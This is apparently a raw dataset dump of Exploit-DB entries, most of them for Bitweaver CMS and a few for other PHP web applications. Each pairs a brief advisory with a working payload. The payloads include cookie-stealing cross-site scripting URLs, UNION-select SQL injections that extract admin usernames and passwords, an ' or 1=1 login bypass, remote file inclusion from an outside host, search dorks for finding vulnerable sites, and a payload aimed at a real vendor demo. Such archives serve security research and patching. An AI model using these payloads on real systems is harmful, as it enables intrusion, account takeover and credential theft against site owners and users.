deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28963
Description: Bitweaver 1.x - '/fisheye/index.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-10
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20996/info
  
Bitweaver is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Bitweaver 1.3.1 and prior versions are vulnerable; other versions may also be affected. 
  
Since this issue is a duplicate of the the issue described in BID 20988 (Bitweaver Multiple Input Validation Vulnerabilities), this BID is being retired.
  
http://www.example.com/bitweaver/fisheye/index.php?sort_mode=-98
Exploit-DB #28954
Description: Bitweaver 1.x - '/fisheye/list_galleries.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-10
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20996/info
 
Bitweaver is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Bitweaver 1.3.1 and prior versions are vulnerable; other versions may also be affected. 
 
Since this issue is a duplicate of the the issue described in BID 20988 (Bitweaver Multiple Input Validation Vulnerabilities), this BID is being retired.
 
http://www.example.com/bitweaver/fisheye/list_galleries.php?sort_mode=-98
Exploit-DB #28949
Description: bitweaver 1.x - '/newsletters/edition.php?tk' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-09
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20988/info

Bitweaver is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include multiple HTML-injection issues and multiple SQL-injection issues. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Bitweaver 1.3.1 and prior versions are vulnerable to these issues.

http://www.example.com/newsletters/edition.php?tk=[SQL]&find=1&search=suchen
Exploit-DB #28965
Description: Bitweaver 1.x - '/wiki/list_pages.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-10
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20996/info
    
Bitweaver is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
    
Bitweaver 1.3.1 and prior versions are vulnerable; other versions may also be affected. 
    
Since this issue is a duplicate of the the issue described in BID 20988 (Bitweaver Multiple Input Validation Vulnerabilities), this BID is being retired.
    
http://www.example.com/bitweaver/wiki/list_pages.php?find=&sort_mode=-98
Exploit-DB #28964
Description: Bitweaver 1.x - '/wiki/orphan_pages.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-10
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20996/info
   
Bitweaver is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
Bitweaver 1.3.1 and prior versions are vulnerable; other versions may also be affected. 
   
Since this issue is a duplicate of the the issue described in BID 20988 (Bitweaver Multiple Input Validation Vulnerabilities), this BID is being retired.
   
http://www.example.com/bitweaver/wiki/orphan_pages.php?sort_mode=-98
Exploit-DB #30880
Description: Bitweaver 1.x/2.0 - '/search/index.php?highlight' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-10
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26801/info
  
Bitweaver is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input including multiple cross-site scripting vulnerabilities, multiple HTML-injection vulnerabilities, and an SQL-injection vulnerability.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.
  
Bitweaver 2.0.0 and prior versions are vulnerable to these issues.

http://www.example.com/search/index.php?tk=316dccdfb62a3cad613e&highlight=[SQL_INJECTION]=&search=go
Exploit-DB #30879
Description: Bitweaver 1.x/2.0 - 'search/index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-10
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26801/info
 
Bitweaver is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input including multiple cross-site scripting vulnerabilities, multiple HTML-injection vulnerabilities, and an SQL-injection vulnerability.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.
 
Bitweaver 2.0.0 and prior versions are vulnerable to these issues.

http://www.example.com/search/index.php/XSS
Exploit-DB #30878
Description: Bitweaver 1.x/2.0 - 'users/register.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-10
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26801/info

Bitweaver is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input including multiple cross-site scripting vulnerabilities, multiple HTML-injection vulnerabilities, and an SQL-injection vulnerability.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

Bitweaver 2.0.0 and prior versions are vulnerable to these issues.


http://www.example.com/users/register.php/XSS
Exploit-DB #34259
Description: Bitweaver 2.7 - 'fImg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-05
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41421/info

Bitweaver is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Bitweaver 2.7 is vulnerable; other versions may also be affected.

http://www.example.com/bitweaver/themes/preview_image.php?fImg=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #16267
Description: Bitweaver 2.8.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-02
Author: lemlajt

Exploit:
# exploit title: Path Disclosure bitweaver 2.8
# date: 25.o2.2o11
# author: lemlajt
# software : bitweaver
# version: 2.8
# tested on: linux
# cve :
#

Path Disclosure bitweaver 2.8
PoC :
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/kernel/admin/index.php?page=%27

sql injection in bitweaver 2.8
PoC :
1. Goto:
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/quicktags/admin/admin_quicktags.php?format_guid=tikiwiki&sort_mode=tagpos_asc

2. Data Tamper:
$find = ' sql
$sort_mode =
$format_guid =
$list_page =


bonus: xss
POST
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/kernel/admin/index.php
?
$liberty_textarea_height = "><...>
$liberty_textarea_width = "><script>here</script>

# *
Exploit-DB #36177
Description: Bitweaver 2.8.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-29
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/49864/info

Bitweaver is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Bitweaver 2.8.1 is vulnerable; other versions may also be affected. 

http://www.example.com/bitweaver/users/register.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/blogs/rankings.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/articles/edit.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/articles/list.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/calendar/index.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/events/list_events.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/events/index.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/pigeonholes/list.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/fisheye/index.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/recommends/index.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/rss/index.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/fisheye/list_galleries.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/tags/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/stencils/index.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/stencils/list_stencils.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/wiki/orphan_pages.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/users/remind_password.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/blogs/list_blogs.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/liberty/list_content.php/"</script><script>alert(document.cookie)</script>
http://www.example.com/bitweaver/quicktags/special_chars.php?textarea_id=&#039;);"/><script>alert(document.cookie);</script>
http://www.example.com/bitweaver/users/register.php -> Email -> &#039;"</script><script>alert(document.cookie)</script> -> Register
Exploit-DB #16217
Description: Bitweaver 2.8.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-23
Author: lemlajt

Exploit:
# exploit title: persistant xss in bitweaver2.8.1
# date: 22.o2.2o11
# author: lemlajt
# software : bitweaver @ sourceforge.net
# version: 2.8.1
# tested on: linux
# cve :
#


PoC :
1. submit an article
POST
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/articles/edit.php
form-data; name="author_name"\r\n\r\nGuest"><script>alert('xss')</script>\

2. "Success Your article has been submitted and is awaiting approval.", next
3. log in as an admin, and go to page "Articles Home".
4. You'll see some arts and your added below. For this test we set topic
'persistant test':
' persistent test [ Submitted: Tuesday 22 of February, 2011 (12:18:26) ]'
Click it.
5. persistent xss.

* bonus: when bitweaver is running at test mode, you'll have an sql
injection by visiting:
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/users/index.php?sort_mode=!@#$%
^&*%28%29_}{}{:L%3E?%3E%3C
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/blogs/list_blogs.php?sort_mode=!@
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/blogs/list_blogs.php?sort_mode=!@

post
http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/blogs/rankings.php
$sort_mode=!@


# *
regards,
lemlajt
Exploit-DB #27579
Description: Bitweaver CMS 1.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-07
Author: KaDaL-X

Exploit:
source: https://www.securityfocus.com/bid/17406/info

Bitweaver CMS is prone to multiple cross-site scripting vulnerabilities. Thess issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bitweaver/users/login.php?error=<h1><marquee>Test
http://www.example.com/[path_to_bitweaver]/articles/index.php?feedback=<script>alert(document.cookie)</script>
Exploit-DB #4814
Description: Bitweaver R2 CMS - Arbitrary File Upload / Disclosure
Type: webapps
Platform: php
Date: 2007-12-30
Author: BugReport.IR

Exploit:
########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Bitweaver R2 CMS
# Vendor: http://www.bitweaver.org
# Bugs: source code disclosure, arbitrary file upload
# Vulnerable Version: 2 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

Bitweaver is an open source content management system. Its speed and power are ideal for large-scale community websites and corporate applications, but it is simple enough for non-technical small site users to set up and administrate.

####################
- Vulnerability:
####################

+--> arbitrary file upload

Code Snippet:

/fisheye/upload.php line#32-45

	$i = 0;
	foreach( array_keys( $_FILES ) as $key ) {
		if( preg_match( '/(^image|pdf)/i', $_FILES[$key]['type'] ) ) {
			$upImages[$key] = $_FILES[$key];
			if( !empty( $_REQUEST['imagedata'][$i] ) ) {
				$upData[$key] = $_REQUEST['imagedata'][$i];
			} else {
				$upData[$key] = array();
			}
		} elseif( !empty( $_FILES[$key]['tmp_name'] ) && !empty( $_FILES[$key]['name'] ) ) {
			$upArchives[$key] = $_FILES[$key];
		}
		$i++;
	}

It's possible to upload arbitrary files with image/gif content-type (this can be changed via local proxy or direct content altertion)
also its possible for an attacker to bypass "/storage/.htaccess" restriction by uploadding his own .htaccess and control server settings.


+-->source code disclosure

Code Snippet:

/wiki/edit.php line#179-195

if( isset( $_REQUEST["suck_url"] ) ) {
	// Suck another page and append to the end of current
	require_once( UTIL_PKG_PATH.'htmlparser/html_parser_inc.php' );
	$suck_url = isset( $_REQUEST["suck_url"] ) ? $_REQUEST["suck_url"] : '';
	$parsehtml = isset( $_REQUEST["parsehtml"] ) ? ( $_REQUEST["parsehtml"] == 'on' ? 'y' : 'n' ): 'n';
	if( isset( $_REQUEST['do_suck'] ) && strlen( $suck_url ) > 0 ) {
		.
		.
		.
		$sdta = @file_get_contents( $suck_url );

POC: http://localhost/bitweaver/wiki/edit.php?page=SandBox&suck_url=./../kernel/config_inc.php&do_suck=h

####################
- Credit :
####################
Original Advisory:http://www.bugreport.ir/?/24
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2007-12-30]
Exploit-DB #5835
Description: Bizon-CMS 2.0 - 'Id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-17
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## Bizon-CMS V2.0 ( index.php Page )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : Bizon-CMS
##
## version  : V2.0
##
## site     : www.bizon-soft.com
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/photo/
##           index.php?Page=ShowPicture&Id=-756+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10+from+admins/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://www.bizon-soft.com/bizon-cms-demo/photo/index.php?Page=ShowPicture&Id=-756+union+select+1,2,3,4,5,6,@@version,current_user,database(),10+from+admins/*
##
#######################
#######################

######################################################################################################
######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
######################################################################################################
######################################################################################################

# milw0rm.com [2008-06-17]
Exploit-DB #7726
Description: BKWorks ProPHP 0.50b1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-11
Author: SirGod

Exploit:
#############################################################################################
[+] BKWorks ProPHP 0.50 Beta 1 (Auth Bypass) SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#############################################################################################

[+] Dork : Powered by BKWorks ProPHP Version 0.50 Beta 1

[+] SQL Injection Login Bypass

- Login as :

Username : admin ' or ' 1=1

[CREDENTIAL_REDACTED] or nothing

And you will be logged in.

- Live Demo

    http://old.bkworksproducts.info/content/products/demos/ProPHP/


#############################################################################################

# milw0rm.com [2009-01-11]
Exploit-DB #12591
Description: BlaB! Lite 0.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-13
Author: Sn!pEr.S!Te Hacker

Exploit:
                                           \#'#/ 
                                                                              # (-.-) #
# ----------------------oOO---(_)---OOo---------------------- 
# | __ __ | 
# | _____/ /_____ ______/ /_ __ ______ ______ | 
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ | 
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) | 
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ | 
# | Security Sn!pEr.S!Te /____/ 2o1o | 
# ----------------------------------------------------------- 
# | Remote File Inclusion Vulnerability | 
# -----------------------------------------------------------
----------------------------------------------------------------
BlaB! Lite <== 0.5 ( register.php )

----------------------------------------------------------------
#[+] Author : Sn!pEr.S!Te Hacker # 
# [+] Email : sniper-site@HoTMaiL.coM # 
# [+] T34M Sn!pEr.S!Te Hacker # 
# [+] 13-5-2010 #
# [+] Script : Chat Scripts » BlaB! Lite:
# [+] Download:http://hot-things.net/cs/dnd_normal/blab50lite.zip 
# Version: [0.5] #
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : blab50lite/register.php

http://localhost/blab50lite/register.php?skin_dir=[shell.txt ]


include $skin_dir
line ; 51 and 52

my friend : liar - sm Hacker -baby hacker -dmar - mr.JLD - ALhal alsab - 
                            adil - Mr.SaTaN - abo badr - aStoorh alqssim - Ramad Hacker- h-ex -
                              yousfe - Hiter.3rb - QAHER ALRAFDE - DjHacker - My Heart -
Exploit-DB #4444
Description: Black Lily 2007 - 'products.php?class' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-22
Author: VerY-SecReT

Exploit:
#######################SnIper-sa.com################################
#                                                                  #
#  SSSSS      nnn        nn   ii  ppppppp  eeeeeeeee   rrrrr       #
# ss          nn nn      nn   ii  pp    p  ee          rr   rr     #
#s            nn  nn     nn   ii  pp    p  ee          rr     r    #
# ss          nn   nn    nn   ii  ppppppp  ee          rr   rr     #
#   sssss     nn    nn   nn   ii  pp       eeeeee      rrrr        #
#        ss   nn     nn  nn   ii  pp       ee          rrrr        #
#          s  nn      nn nn   ii  pp       ee          rr  rr      #
#        ss   nn        nnn   ii  pp       ee          rr   rr     #
#   sssss     nn        nnn   ii  pp       eeeeeeeeee  rr     rr   #
#                                                                  #
#####################VerY-SecReT####################################
####################################

 found by :
               VerY SecReT
###########
HomePage : WwW.SnIpEr-Sa.Com
##################

 Dork :  "Powered By The Black Lily 2007"
####################################

EXPLOIT:
  http://victim.com/ar/products.php?class=-1%20union%20select%201,2,password,4,username%20from%20admin/*

 or

http://victim.com/en/products.php?class=-1%20union%20select%201,2,3,password,username%20from%20admin/*

########################################

Admin Panel is in  http://victim.com/xx/admin/

#####################################

 S.GreetZ: sniper-sa.com & sniper-sa & Rafoo
#############################
thanx :  shoot3r , Devil-X ,ReMOTeR , and all sniper members

##############

contact-mail : SecReT@SecuRitY.Com.Sa

# milw0rm.com [2007-09-22]
Exploit-DB #30890
Description: Black Sheep Web Software Form Tools 1.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-12-14
Author: RoMaNcYxHaCkEr

Exploit:
source: https://www.securityfocus.com/bid/26889/info

Black Sheep Web Software Form Tools is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Form Tools 1.5.0b; other versions may also be vulnerable. 

http://www.example.com/global/templates/admin_page_open.php?g_root_dir=http://www.example2.com
http://www.example.com/global/templates/client_page_open.php?g_root_dir=http://www.example2.com